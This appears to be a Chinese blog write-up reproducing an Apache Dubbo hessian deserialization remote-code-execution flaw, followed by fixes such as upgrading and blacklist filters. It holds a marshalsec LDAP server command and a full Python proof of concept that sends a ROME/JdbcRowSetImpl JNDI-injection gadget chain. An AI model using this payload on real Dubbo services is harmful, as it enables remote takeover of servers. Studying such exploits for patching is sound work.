Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
对于dubbo的源码分析可参考:
https://www.anquanke.com/post/id/197658
漏洞由Ruilin发现,详情可见:
https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html
之前拜读过几篇文章,如研究Kryo的Java “后反序列化漏洞”利用思路:(https://paper.seebug.org/1133/)。dubbo之前的原生反序列化漏洞:https://www.cnblogs.com/zaqzzz/p/12443794.html。
此次漏洞原理是由于Apache Dubbo Provider组件默认使用了hessian进行反序列化,并不复杂,所以可以直接使用之前的hessian反序列化利用方法:
https://paper.seebug.org/1131/
这里模拟一种攻击场景,demo选用springboot搭建dubbo的一个项目:https://github.com/apache/dubbo-spring-boot-project/releases/tag/2.7.6,
下载后IDEA打开,启动dubbo-spring-boot-auto-configure-provider-sample:
启动后会在公网开放一个端口12345,等待dubbo协议通信数据传入,后续则是通过python模拟发送恶意数据到这个端口:
下一步使用环境中的gedget,开启ldap服务器,利用JNDI注入恶意数据,这里还是使用rome作为gadget,在环境中加入依赖:
使用marshalsec在8087端口开启ldap服务器,在本地web根目录放置恶意Exploit.class文件:
java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:81/#Exploit 8087
最后一步使用 python 代码即可进行dubbo协议通信并传入恶意对象进行反序列化后的JNDI注入:
# -*- coding: utf-8 -*-# Ruilin# pip3 install dubbo-pyfrom dubbo.codec.hessian2 import Decoder,new_objectfrom dubbo.client import DubboClient client = DubboClient('127.0.0.1', 12345) JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource="ldap://127.0.0.1:8087/Exploit", strMatchColumns=["foo"] )JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", )toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl ) resp = client.send_request_and_return_response( service_name='cn.rui0', method_name='rce',args=[toStringBean])
web服务器接收到请求,执行反序列化操作完成RCE:
后续补充代码层调用链分析。
如果系统开启了dubbo端口(如1.2.3.4:12345),攻击者使用python模拟dubbo通信协议发送rpc请求,数据包含带有无法识别的服务名称service_nam或方法名称method_name,及恶意参数(JdbcRowSetImpl等),在反序列化这些恶意参数时便会触发JNDI注入,导致执行任意恶意代码。
因此攻击难度较低,但攻击危害很大。
a)更新至2.7.7版本:
https://github.com/apache/dubbo/releases/tag/dubbo-2.7.7
b)通用防御措施,增加反序列化前的service name的判断,但如果控制到中间注册中心还是会存在攻击风险;
c)hessian自身没有其他序列化包做gadgets层的防护,建议使用时进行拓展,可以参考SOFA的处理(https://github.com/sofastack/sofa-hessian ) 来增加对应的黑名单过滤器。
参考:
https://www.codercto.com/a/101851.html?from=timeline
https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html